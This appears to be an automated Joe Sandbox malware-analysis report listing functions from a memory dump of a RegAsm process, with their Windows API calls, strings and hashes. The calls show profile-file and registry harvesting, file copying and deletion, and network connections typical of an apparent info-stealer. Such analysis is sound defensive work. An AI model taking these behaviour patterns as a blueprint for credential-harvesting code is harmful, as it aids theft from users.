Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Directory$Create$File$Find$ErrorLast$CopyCpp_errorThrow_std::_$AttributesFolderPath$CloseFirstNext$DeleteRemove
String ID:
API String ID: 1140557632-0
Opcode ID: 2c311ff995f71ba1f7a1b6bba2a129a9eba4701cba61c8c9ee98f556b6c0cf4c
Instruction ID: 6b404ecdfd53acb60f6cf5d734e717c5294ca690171ae70fa85b8f1a38f34a58
Opcode Fuzzy Hash: 2c311ff995f71ba1f7a1b6bba2a129a9eba4701cba61c8c9ee98f556b6c0cf4c
Instruction Fuzzy Hash: 76F3F2B4D0525A8BCF15CFA9C9916EEBBB0BF18304F20419AD549B7341DB346B84CFA6

Function 0045A102 Relevance: 32.0, APIs: 16, Strings: 2, Instructions: 507
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,Function_000C7B00,00000000,00000000,00000000), ref: 0045A1EB
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0045A1F2
Sleep.KERNEL32(00000001), ref: 0045A2AE
GetTempPathA.KERNEL32(000000FC,?,00000000,?,?,?,?,?,00000000), ref: 0045A33A

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 0045A525
CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 0045A54B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045A565

Strings

jjjh, xrefs: 0045A1DC
h6rt hrd54, xrefs: 0045D7FA

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Create$Directory$AttributesChangeCloseErrorFileFindLastNotificationPathSleepTempThreadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: h6rt hrd54$jjjh
API String ID: 2868636072-2795310552
Opcode ID: aef5c0a0488c92cfc528cc2fb7ff7354c1e9c3cbef8373035cd1c51749a5c0b6
Instruction ID: e14f4bdc9b4ef9625342d0c5e9a1f2f0976a859d63f901a09db6015e27f613d7
Opcode Fuzzy Hash: aef5c0a0488c92cfc528cc2fb7ff7354c1e9c3cbef8373035cd1c51749a5c0b6
Instruction Fuzzy Hash: 8322BF70D002599BCB14EFA8C955BEEBBB0AF54305F14419EE80677392DB386E48CF96

Function 00490600 Relevance: 27.9, APIs: 13, Strings: 2, Instructions: 1609registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0049083B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 0049086F
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,?,?), ref: 00490895
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,?), ref: 00490A2C
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,00000104), ref: 00490CB3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,00000104), ref: 00490DA0
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 00490EE1
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,00000200), ref: 00490FCB
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,00000200), ref: 004910B5
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 0049119F
RegCloseKey.ADVAPI32(?), ref: 0049229B
RegEnumKeyA.ADVAPI32(?,00000001,?,00000104), ref: 004922D1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 004922E5

Part of subcall function 004351FB: RaiseException.KERNEL32(E06D7363,00000001,00000003,0041ABA8,?,?,?,00431D09,0041ABA8,005799D8,00000000,0041ABA8), ref: 0043525B

Strings

cannot use push_back() with , xrefs: 00492345
cannot use operator[] with a string argument with , xrefs: 0049239E, 004923F3

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpen$ExceptionRaise
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2021570681-3306948993
Opcode ID: c2daf1cc149daee3d8111b911dc487295d43e888aa3b02d982fb3686ee987a18
Instruction ID: 6588d95b16ef9231476fd5dcccf1f9b41add861ffceb3a51b245dfb9ff216c52
Opcode Fuzzy Hash: c2daf1cc149daee3d8111b911dc487295d43e888aa3b02d982fb3686ee987a18
Instruction Fuzzy Hash: 5C0311B0C042698BDB25CF28CD84BEEBBB4BF48304F1042EAD549A7251EB756B85CF54

Function 004595B8 Relevance: 21.7, APIs: 9, Strings: 3, Instructions: 717
libraryloaderwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000), ref: 0045961B
GetProcAddress.KERNEL32(00000000,00000000), ref: 004596F8
MessageBoxA.USER32(00000000,00000000,00000000,00000014), ref: 0045995D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045998F

Strings

N7BG, xrefs: 0045990C
+([X, xrefs: 00459ED0
), xrefs: 004595C1

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadMessageProcUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: +([X$N7BG$)
API String ID: 2508193226-1879230440
Opcode ID: dc8e8ebd8e0eb298110ca2f0f2b30b2354c1fad1fb5de1a6830030238f3275bf
Instruction ID: 1a7bd67e383c31407500a923b9ecef5f6587213a80e5914a89db6596f25cfd8d
Opcode Fuzzy Hash: dc8e8ebd8e0eb298110ca2f0f2b30b2354c1fad1fb5de1a6830030238f3275bf
Instruction Fuzzy Hash: 3B7226B4E002198BCB14DF94C991AAEBBB1FF58301F24419ED909BB351DB34AE85CF95

Function 004E6770 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 334
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?,005894F8,?,?,?,\*.*,00000004), ref: 004E68E5
SetFileAttributesA.KERNEL32(?,00000080,?,?,005894F8,?,?), ref: 004E6A8A
DeleteFileA.KERNEL32(?), ref: 004E6AA4
FindNextFileA.KERNELBASE(?,00000010), ref: 004E6AB8
FindClose.KERNEL32(?), ref: 004E6ACA
GetLastError.KERNEL32 ref: 004E6AD0
SetFileAttributesA.KERNEL32(?,00000080), ref: 004E6AED
RemoveDirectoryA.KERNEL32(?), ref: 004E6B0B
GetLastError.KERNEL32 ref: 004E6B20
std::_Throw_Cpp_error.LIBCPMT ref: 004E6BE7
std::_Throw_Cpp_error.LIBCPMT ref: 004E6BF8

Strings

\*.*, xrefs: 004E6834

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: File$Find$AttributesCpp_errorErrorLastThrow_std::_$CloseDeleteDirectoryFirstNextRemove
String ID: \*.*
API String ID: 460640838-1173974218
Opcode ID: 5ee4773a93272a3aebd440430532c79c60ca7305ef104aea65441d2538ba1579
Instruction ID: d809dff945c313677263d2cc5f51936a643c350294cf92fd29307912c56e1fe7
Opcode Fuzzy Hash: 5ee4773a93272a3aebd440430532c79c60ca7305ef104aea65441d2538ba1579
Instruction Fuzzy Hash: EDD11670C00288CFDB10DFA9C9487EEBBB1FF65305F20425AE454BB292D7786A89DB55

Function 0049F0D0 Relevance: 20.7, APIs: 6, Strings: 4, Instructions: 3171stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 0049F224
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0049F322
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0049F515
CreateDirectoryA.KERNEL32(?,00000000), ref: 004A1C76

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(?,00000000), ref: 004A1F5D
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004A348E

Strings

cannot use push_back() with , xrefs: 004A3518
cannot use operator[] with a string argument with , xrefs: 004A3571, 004A35C6
;Yb., xrefs: 0049FC4C
~]d, xrefs: 0049FAC6

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectoryPrivateProfile$AttributesErrorFileFolderLastNamesPathSectionStringlstrlen
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with $~]d
API String ID: 2833034228-1763774129
Opcode ID: b35ffea91b574e4b0293026ac44aa9da4ce7f66efc0b31e36636666991842613
Instruction ID: 3f98b5ef17dcfaa8f689e4fcb5a5d7fbbd5e2711f2842c60bb6495c93d0a2e70
Opcode Fuzzy Hash: b35ffea91b574e4b0293026ac44aa9da4ce7f66efc0b31e36636666991842613
Instruction Fuzzy Hash: 2793DCB4D052A98ADB65CF29C990BEDBBB1BF59304F0081EAD84DA7241DB742BC4CF45

Function 004963B0 Relevance: 17.5, APIs: 5, Strings: 4, Instructions: 1775stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 00496504
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 00496602
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 004967F5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00498078
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049854F

Strings

cannot use push_back() with , xrefs: 0049840C, 0049860E
cannot use operator[] with a string argument with , xrefs: 004985BE, 00498670
Tz}9, xrefs: 00497260
;Yb., xrefs: 004974E8

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: ;Yb.$Tz}9$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 3203477177-4100205650
Opcode ID: 9f69eb82389e6d8f619c25943babd8cedd1821c9825943e9c733ea6ee2ee3b61
Instruction ID: 6b3be8cf9a559e92d133cc3b6572ed682d4dab2050fd03768d9c929fe5be15d2
Opcode Fuzzy Hash: 9f69eb82389e6d8f619c25943babd8cedd1821c9825943e9c733ea6ee2ee3b61
Instruction Fuzzy Hash: 352300B0D052688BDB25CF28C9947EDBBB5BF49304F1082EAE449A7281DB746BC4CF55

Function 004B84D0 Relevance: 17.0, APIs: 1, Strings: 6, Instructions: 4759COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004B8639

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use push_back() with , xrefs: 004BDFC9, 004BE020, 004BE074
;Yb., xrefs: 004BAF18
;Yb., xrefs: 004BCCC8
Jzv", xrefs: 004BCB48
cannot use operator[] with a string argument with , xrefs: 004BDF6D, 004BE0D4, 004BE129, 004BE17E, 004BE1D9, 004BE22E, 004BE283, 004BE2D8, 004BE32D, 004BE382
WUa5, xrefs: 004BAC90

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: ;Yb.$;Yb.$Jzv"$WUa5$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-2418805891
Opcode ID: f278784e8d741f0e5641be46d53767726bf89f0817b434b82cf6a1a923dcd594
Instruction ID: 3f823f28df99295a5e33eead850819ddadf0ca74424a7ce841614c70a822934e
Opcode Fuzzy Hash: f278784e8d741f0e5641be46d53767726bf89f0817b434b82cf6a1a923dcd594
Instruction Fuzzy Hash: F7C311B4D052698BDB25CF68C980BEDBBB1BF48304F1082DAD449A7281DB746F84CF95

Function 004986B0 Relevance: 16.1, APIs: 4, Strings: 4, Instructions: 2129stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 00498804
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 00498902
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 00498AF8
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049AE11

Strings

;Yb., xrefs: 0049968E
cannot use push_back() with , xrefs: 0049AD31, 0049AEBA
cannot use operator[] with a string argument with , xrefs: 0049AE83, 0049AF19
AN|5, xrefs: 00499560

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: ;Yb.$AN|5$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-1903585501
Opcode ID: dd5867c3aa29a5a63ca725b503d18c87fbba41c427e3053655931c5f1565d743
Instruction ID: e112265f5291f7fbed9e5ebb381307dd27655726dfd0f1f0b2bb5fda635101ca
Opcode Fuzzy Hash: dd5867c3aa29a5a63ca725b503d18c87fbba41c427e3053655931c5f1565d743
Instruction Fuzzy Hash: D44322B0D052688BDB25CF28C8947EEBBB5BF49304F1082EAD449A7242DB756BC4CF55

Function 0049AF60 Relevance: 14.1, APIs: 4, Strings: 3, Instructions: 1876stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 0049B158
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0049B265
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0049B458
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049D22D

Strings

cannot use push_back() with , xrefs: 0049D0EA, 0049D2EC
cannot use operator[] with a string argument with , xrefs: 0049D29C, 0049D353
;Yb., xrefs: 0049BFEE

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-747751661
Opcode ID: 68656f72a4d7e4004308d3aaa867db416e78ce6dff6a32d007c12c2b72a77b54
Instruction ID: b2dbe3f5757ef5304a2bca7f4d9e3a7c922558eb406562d1b13ccbd165419304
Opcode Fuzzy Hash: 68656f72a4d7e4004308d3aaa867db416e78ce6dff6a32d007c12c2b72a77b54
Instruction Fuzzy Hash: BF2321B0D042688BDB25CF28C9947EDBBB1BF59304F1082EAE449A7281DB746BC4CF55

Function 004B3600 Relevance: 12.7, APIs: 2, Strings: 3, Instructions: 3964COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004B3763

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use push_back() with , xrefs: 004B8296, 004B842E
cannot use operator[] with a string argument with , xrefs: 004B83F4, 004B848D
;Yb., xrefs: 004B62DD

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-747751661
Opcode ID: fcc37baca21ab803f79c04a9285f31840b5108f02c27402b2900e6e403c059d5
Instruction ID: 7e3775fc19a56beca8a5aed6a89b77831bb70298de2711a52710f1ec40fc4457
Opcode Fuzzy Hash: fcc37baca21ab803f79c04a9285f31840b5108f02c27402b2900e6e403c059d5
Instruction Fuzzy Hash: C5B322B4D052698BDB25CF68C990BEEBBB1BF48304F1081DAD449A7281DB746F84CF95

Function 004C8590 Relevance: 12.1, APIs: 8, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 004C85BA
getaddrinfo.WS2_32(?,?,?,00589328), ref: 004C863C
socket.WS2_32(?,?,?), ref: 004C865D
connect.WS2_32(00000000,00559BFC,?), ref: 004C8671
closesocket.WS2_32(00000000), ref: 004C867D
freeaddrinfo.WS2_32(?,?,?,?,00589328,?,?), ref: 004C868A
WSACleanup.WS2_32 ref: 004C8690
freeaddrinfo.WS2_32(?,?,?,?,00589328,?,?), ref: 004C86A5

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: freeaddrinfo$CleanupStartupclosesocketconnectgetaddrinfosocket
String ID:
API String ID: 58224237-0
Opcode ID: b89627014a15d46737fbc47111d25383b59242ed97850ca45924e6f99d10e442
Instruction ID: ffa07009e3086412046aa5b15573dbd5c691e56a3beb11943292ef2f0f62f1de
Opcode Fuzzy Hash: b89627014a15d46737fbc47111d25383b59242ed97850ca45924e6f99d10e442
Instruction Fuzzy Hash: 9531C1726043009BD7208F25DC48B2BB7E5FB94729F114B1EF9A4922E0D7759C089AA7

Function 0049D3A0 Relevance: 12.1, APIs: 4, Strings: 2, Instructions: 1570stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 0049D4F4
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0049D5F2
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0049D7E5
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049EF32

Strings

cannot use push_back() with , xrefs: 0049EE76, 0049F02B
cannot use operator[] with a string argument with , xrefs: 0049EF9D, 0049EFDB, 0049F08D

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-3306948993
Opcode ID: 108a534bba22ffc5ee0333291f190ef21089a33b0d510e158dafe757d8c74a0d
Instruction ID: d38aed82ee4788d52106214de1412b854dd9129e0c255bb6c7140376d04d8967
Opcode Fuzzy Hash: 108a534bba22ffc5ee0333291f190ef21089a33b0d510e158dafe757d8c74a0d
Instruction Fuzzy Hash: 570334B0D042688BDB25CF28C9947EEBBB4BF59304F1042EED449A7281EB746B84CF55

Function 004DF030 Relevance: 8.4, APIs: 5, Instructions: 876COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,00000003), ref: 004DF09A
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,00000003), ref: 004DF329

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000003), ref: 004DF52A
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000003), ref: 004DF84A

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000003), ref: 004DFC7D

Part of subcall function 004E6770: FindFirstFileA.KERNEL32(00000000,?,005894F8,?,?,?,\*.*,00000004), ref: 004E68E5

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorFileThrow_std::_$AttributesErrorFindFirstFolderLastPath
String ID:
API String ID: 2127212259-0
Opcode ID: 0f07471ed4eca2a3508a31e08eb15c88decc6808742d22feca03611ffa649768
Instruction ID: 8e27dc709fe3b7ff7b62f4d1f71842afe3ac2492894b6e8ccfd466f18f63ab33
Opcode Fuzzy Hash: 0f07471ed4eca2a3508a31e08eb15c88decc6808742d22feca03611ffa649768
Instruction Fuzzy Hash: DBA202B4D0425D8BDF25CFA8C995AEEBBB0BF18304F2041AAD949B7351D7341A84CFA5

Function 004DE430 Relevance: 8.2, APIs: 5, Instructions: 731fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 004DE49D

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

CreateDirectoryA.KERNEL32(?,00000000), ref: 004DE8C9
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DEA83
CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 004DED11
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?), ref: 004DEE67

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorFileThrow_std::_$AttributesCopyErrorFolderLastPath
String ID:
API String ID: 1001086254-0
Opcode ID: 8bd4acff81872665121562d7479d203c31d34057600ab9f70e48891d9675cb85
Instruction ID: 4de69712ac24b7a09e9bc2c7d11d42553b755471a164b72fa8c1d2b7ead1c118
Opcode Fuzzy Hash: 8bd4acff81872665121562d7479d203c31d34057600ab9f70e48891d9675cb85
Instruction Fuzzy Hash: 298225B0C042598BCB15CFA9C995BEEBBB0BF18304F10419ED549BB382DB745A85CFA5

Function 004C00A0 Relevance: 6.9, APIs: 1, Strings: 2, Instructions: 1687COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004C01FF

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use push_back() with , xrefs: 004C1CD9, 004C1E80
cannot use operator[] with a string argument with , xrefs: 004C1DEA, 004C1E28, 004C1EDD

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-3306948993
Opcode ID: 96462393fb7229838f7d6d3255912ba40f3b55a46aa2ba1a096b14e013420e5d
Instruction ID: 70ddbce775e6b9f4390438519087f6b5abdfdd9be8d0e615cc0455d37fea4395
Opcode Fuzzy Hash: 96462393fb7229838f7d6d3255912ba40f3b55a46aa2ba1a096b14e013420e5d
Instruction Fuzzy Hash: FB1353B4D042688BDB65CF68C984BEEBBB4AF49304F1042DED449A7282DB746F84CF55

Function 004BE3C0 Relevance: 6.8, APIs: 1, Strings: 2, Instructions: 1598COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004BE5C3

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use push_back() with , xrefs: 004BFE23, 004BFFFB
cannot use operator[] with a string argument with , xrefs: 004BFF65, 004BFFA3, 004C0058

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-3306948993
Opcode ID: 5603cb2254271916d023ae6ecc5b8c77c0fc65d248e4cdd390f3ca441af569a5
Instruction ID: 8382db3f1e7fd6ddd2ab45ea33caa7c845863ac968eaabaa47db1742c7724d6a
Opcode Fuzzy Hash: 5603cb2254271916d023ae6ecc5b8c77c0fc65d248e4cdd390f3ca441af569a5
Instruction Fuzzy Hash: BC0355B0D042688BDB25CF68C994BEEBBB5BF49304F1081DAD449A7282DB746F84CF55

Function 004E4BD0 Relevance: 6.6, APIs: 4, Instructions: 594registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004E71E0: GetCurrentProcess.KERNEL32(004E0900), ref: 004E71EF
Part of subcall function 004E71E0: IsWow64Process.KERNEL32(00000000), ref: 004E71F6

RegOpenKeyExA.KERNEL32(80000002,?,00000000,-005A5B4A,00000000,?,?,00000000,-00585B31), ref: 004E4DF5
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 004E4EB2
RegCloseKey.KERNEL32(00000000), ref: 004E4EE1
GetCurrentHwProfileA.ADVAPI32(?), ref: 004E4FCE

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CurrentProcess$CloseOpenProfileQueryValueWow64
String ID:
API String ID: 165412945-0
Opcode ID: 873004973dfc1557f18b17c5b2c9b0e535f0e2e4430b956ec3eabf91ffa2a794
Instruction ID: bb17cc8c783160fd3a8b64dbee70787954a41794371a81ec97da8cd14beae220
Opcode Fuzzy Hash: 873004973dfc1557f18b17c5b2c9b0e535f0e2e4430b956ec3eabf91ffa2a794
Instruction Fuzzy Hash: 946233B0C0425A8BCB24CFA9C9957EEBBB1BF18304F20419ED549B7251EB741B85CFA5

Function 004C6000 Relevance: 6.3, APIs: 4, Instructions: 310fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F
FindNextFileA.KERNELBASE(00000000,00000010), ref: 004C643F
GetLastError.KERNEL32 ref: 004C644D
FindClose.KERNEL32(00000000), ref: 004C645D

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseErrorFirstLastNext
String ID:
API String ID: 819619735-0
Opcode ID: efc0f44c69d0019d7005b2b25682fde8438068cbb83b79be11bae758a135fb24
Instruction ID: afe6fe270f27518361ed143ef8865d869d8c660e8b4c9bb3a5978c93709ae348
Opcode Fuzzy Hash: efc0f44c69d0019d7005b2b25682fde8438068cbb83b79be11bae758a135fb24
Instruction Fuzzy Hash: ACD17CB4C043488FDB24CF98C994BEEBBB1BF45314F14829ED4496B392D7785A84CB59

Function 004A6250 Relevance: 5.6, APIs: 1, Strings: 1, Instructions: 2137COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,00000001), ref: 004A62EB

